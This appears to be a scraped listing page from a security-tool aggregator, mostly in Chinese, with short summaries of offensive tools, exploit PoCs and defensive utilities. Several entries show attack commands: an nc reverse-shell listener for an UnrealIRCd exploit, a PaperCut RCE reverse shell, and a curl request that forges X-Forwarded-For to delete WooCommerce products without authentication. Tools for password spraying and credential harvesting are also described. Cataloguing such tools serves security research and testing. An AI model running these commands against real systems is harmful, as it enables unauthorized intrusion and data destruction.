s3crets_scanner

S3cret Scanner: 在公开S3存储桶中搜寻泄露的秘密 S3cret Scanner 工具旨在为 Amazon S3 安全最佳实践提供补充层，通过在公开S3存储桶中主动搜索秘密。 可作为 计划任务 或 按需 执行 自动化工作流 自动化将执行以下操作： 1. 列出账户中的公开存储桶（设置为 ACL 为 Public 或 对象可公开） 2. 列出文本或敏感文件（即 .p12、.pgp 等） 3. 依次下载、扫描（使用 truffleHog3）并删除磁盘上的文件，完成后逐个评估。 4. 日志将创建在 logger.log 文件中。 先决条件 1. Python 3.6 或更高版本 2...

unrealircd3.2.8.1-local-exploit

Probado en Metasploitable 3 USO Ruby En el shell del atacante root@kitploit: nc -nlvp 1111 En el shell de la víctima root@kitploit: ruby exploit.rb 127.0.0.1 Salida esperada en el shell del atacante root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 481...

cve-2020-28653-poc

Manage Engine OpManager CVE-2020-28653 概念验证 本概念验证用于检测 Manage Engine OpManager 实例是否存在 CVE-2020-28653 漏洞。检测方式为向目标实例发送一个包含序列化有效载荷的请求。当有效载荷被反序列化时，会导致实例发起一次 DNS 查询。 安装 1. 通过以下命令克隆仓库： git clone https://github.com/intrigueio/cve-2020-2853-poc 2. 通过以下命令安装所需的依赖： bundle install 用法 root@kitploit: bundle exe...

crAPI

crAPI 完全荒谬的API crAPI 将帮助你理解十大最关键API安全风险。crAPI是故意存在漏洞的，但你可以安全地运行它来教育/训练自己。 crAPI是现代化的，基于微服务架构构建。当购买你的第一辆汽车时，只需注册一个账户并开始你的旅程。要了解更多关于crAPI的信息，请查看crAPI概述。 快速开始指南 应用程序工作流（正常流程） 在设置crAPI后，建议遵循预期的用户工作流，以了解应用程序在尝试任何安全挑战之前应该如何工作。 -应用程序工作流（正常流程） Docker 和 docker compose 你的主机系统需要安装并运行 Docker 和 docker...

CVE-2025-12720

g-FFL Cockpit = 1.7.1 - 未认证的任意产品删除 g-FFL Cockpit 插件在 queue 和 process REST API 端点上未实施适当的授权检查，允许未认证用户通过伪造 HTTP 标头绕过基于 IP 的身份验证，从而删除任意的 WooCommerce 产品。 快速利用 root@kitploit: TARGETSITE="http://example.com" curl -X POST $TARGETSITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H...

auditd

root@kitploit: / | / // / / /| |/ / / / / / / / / / // / // / / // // / // |,/,///,/ 最佳实践 Auditd 配置 核心理念 本 auditd 配置的核心理念是提供一个最佳实践基线，该基线： 设计为在主流 Linux 发行版上开箱即用 覆盖广泛的安全相关主机活动 优先使用可复用的遥测数据，而非冗长的硬编码检测规则列表 将检测逻辑保留在 Sigma 规则、SIEM 内容或主机端分析中 通过分段和注释保持易读和易调整...

CVE-2025-68613

CVE-2025-68613 n8n 是一款开源的工作流自动化平台。自 0.211.0 版本起至 1.120.4、1.121.1 和 1.122.0 之前的版本，其工作流表达式评估系统中存在一个严重的远程代码执行（RCE）漏洞。在某些条件下，由认证用户在工作流配置期间提供的表达式可能会在未充分与底层运行时隔离的执行上下文中被评估。经过身份验证的攻击者可利用此行为，以 n8n 进程的权限执行任意代码。成功利用该漏洞可能导致受影响实例被完全控制，包括未经授权访问敏感数据、修改工作流以及执行系统级操作。此问题已在 1.120.4、1.121.1 和 1.122.0...

dcipher

dcipher 使用在线彩虹表和查找表攻击服务解密哈希。 安装 root@kitploit: ❯❯❯ npm install dcipher 用法 root@kitploit: const dcipher = require'dcipher'; dcipher'21232f297a57a5a743894a0e4a801fc3'.thenplaintext = console.logplaintext; //= 'admin' ; dcipher'8843d7f92416211de9ebb963ff4ce28125932878'.thenplaintext =...

SharpMove

SharpMove - 对远程主机进行 .NET 认证执行 编译 要编译，请打开 Visual Studio 项目并编译为发布版本。 选项 WMI SCM DCOM 多种 任务计划程序 服务 DLL 劫持 DCOM 服务器劫持 修改计划任务 修改服务 binpath root@kitploit: SharpMove.exe action=query computername=remote.host.local query="select from win32process" username=domain\user password=password root@kitploit:...

XenoScan

XenoScan XenoScan 是一个内存扫描器，可用于扫描进程的内存，以定位重要值的具体位置。这类工具通常用于破解电子游戏，因为它们能定位表示游戏状态在内存中的值。 XenoScan 使用 C++ 编写，带有 Lua 前端，我一直在开发超越我所见过的任何其他内存扫描器的先进功能。值得注意的是，它能够枚举并返回目标内存空间中所有复杂数据结构（例如 std::list 和 std::map）的实例，甚至能扫描所有类实例，并根据其底层类型对发现的实例进行分组。 联系方式 如果您需要联系我、想要一个聊天的地方或有疑问，我的 Discord 是最好的去处。 子项目 XenoLua XenoL...

CVE-2023-27350

PaperCut NG/MG RCE CVE-2023-27350 Un exploit Bash simplificado para CVE-2023-27350. Este script automatiza el bypass de autenticación, la preparación del entorno y la inyección de comandos a través del motor de scripts de impresora de PaperCut. Prueba visual RCE básico: Activando una reverse shel...

TREVORspray

TREVORspray 2.0 TREVORspray 是一个模块化密码喷洒工具，支持线程、SSH 代理、战利品模块等功能！ 作者：@thetechr0mancer 安装： root@kitploit: pip install git+https://github.com/blacklanternsecurity/trevorproxy pip install git+https://github.com/blacklanternsecurity/trevorspray 详细内容请参见配套的 博客文章，里面有有趣的吐槽和一些酷炫的演示！ 功能特性 多线程，大量线程 多种模块...

attackgen

AttackGen AttackGen is a cybersecurity incident response testing tool that leverages the power of large language models and the comprehensive MITRE ATT&CK and ATLAS frameworks. The tool generates tailored incident response scenarios based on user-selected threat actor groups, AI attack case...

dive

dive 一个用于探索 Docker 镜像、层内容以及发现缩小 Docker/OCI 镜像大小方法的工具。 要分析一个 Docker 镜像，只需使用镜像标签/ID/摘要运行 dive： root@kitploit: dive 或者你可以直接通过 Docker 使用 dive： root@kitploit: alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock docker.io/wagoodman/dive" dive 例如 dive nginx:latest...

KnockOutlook

KnockOutlook "最棒的感受就是一拳KO获胜。" - 诺尼托·多奈尔 概述 KnockOutlook 是一个 C 项目，它通过 Outlook 的 COM 对象进行交互，以执行一系列在红队行动中有用的操作。 命令行用法 root@kitploit: / /// / // \ / // / / / / , / / / / /// / / / / / / / / / / /// / /| |/ / / / // / // , / // / // / // / // / // / , // |// /////\/,//////\ 参数： --operation...

CVE-2021-31159

Zoho ManageEngine ServiceDesk Plus MSP - Active Directory 用户枚举 CVE-2021-31159 该脚本利用 ServiceDesk Plus 10519 之前版本在密码恢复功能中的输出差异：如果用户存在，它会返回一条声称已发送电子邮件的消息；但如果用户不存在，消息则始终相同。 据此可以枚举应用程序中的帐户，或者——这也是本脚本试图利用的功能——如果启用了 AD 身份验证，则可以枚举 Active Directory 中的帐户。当应用程序对互联网开放，且 AD 用户帐户格式（例如，名首字母 + 姓）已知时，该功能非常有用。...

leakScraper

leakScraper mongodb 版本 LeakScraper 是一套高效的工具集，用于处理和可视化包含凭证的巨型文本文件。这些工具旨在帮助渗透测试人员/红队成员进行 OSINT、凭证收集和凭证填充攻击。 安装 首要条件：有一个可用的 mongodb 服务器 。 然后： root@kitploit: git clone -b mongodb https://github.com/Acceis/leakScraper cd leakScraper sudo ./install.sh 它会安装一些 pip 包和 debian 包（python-magic、python3-pymongo...

overlord

Overlord – 红队自动化 Overlord 提供了一个基于 Python 的控制台 CLI，用于以自动化方式构建红队基础设施。用户可以通过该工具的模块（例如 C2、邮件服务器、HTTP Web 投递服务器、钓鱼服务器等）提供输入，然后在所选的云提供商上自动生成完整的基础设施/模块和脚本。目前支持 AWS 和 Digital Ocean。该工具仍在开发中，其灵感来自并使用 GitHub 上的 Red-Baron Terraform 实现。 我们的博客文章 https://qsecure.com.cy/resources/publications/overlord/...

CVE-2025-32463-Sudo-Privilege-Escalation

CVE-2025-32463-Escalada-de-Privilegios-en-Sudo ✔️ Completado en HackViser VIP Challenge Este repositorio contiene un exploit funcional para CVE-2025-32463 , una vulnerabilidad crítica CVSS 9.3 que afecta a las versiones de sudo 1.9.14 → 1.9.17 y permite escalada de privilegios local a ROOT abusand...

Detections-CVE-2026-31431

迁移至：https://github.com/insomnisec/publiccvedetections 为更好地长期管理检测发布内容 本仓库将于2026年6月移除 后续请使用另一仓库 CVE-2026-31431 "复制失败" — 检测与响应包 发布日期： 2026-04-30 CVSSv3： 7.8（高危） 类型： 本地权限提升（LPE） 子系统： Linux 内核 algifaead / authencesn 加密模板 影响范围： Linux 内核 4.14 – 6.18.21（几乎自 2017 年以来的所有发行版） 参考资料： Xint/Theori 分析文章 官方 PoC...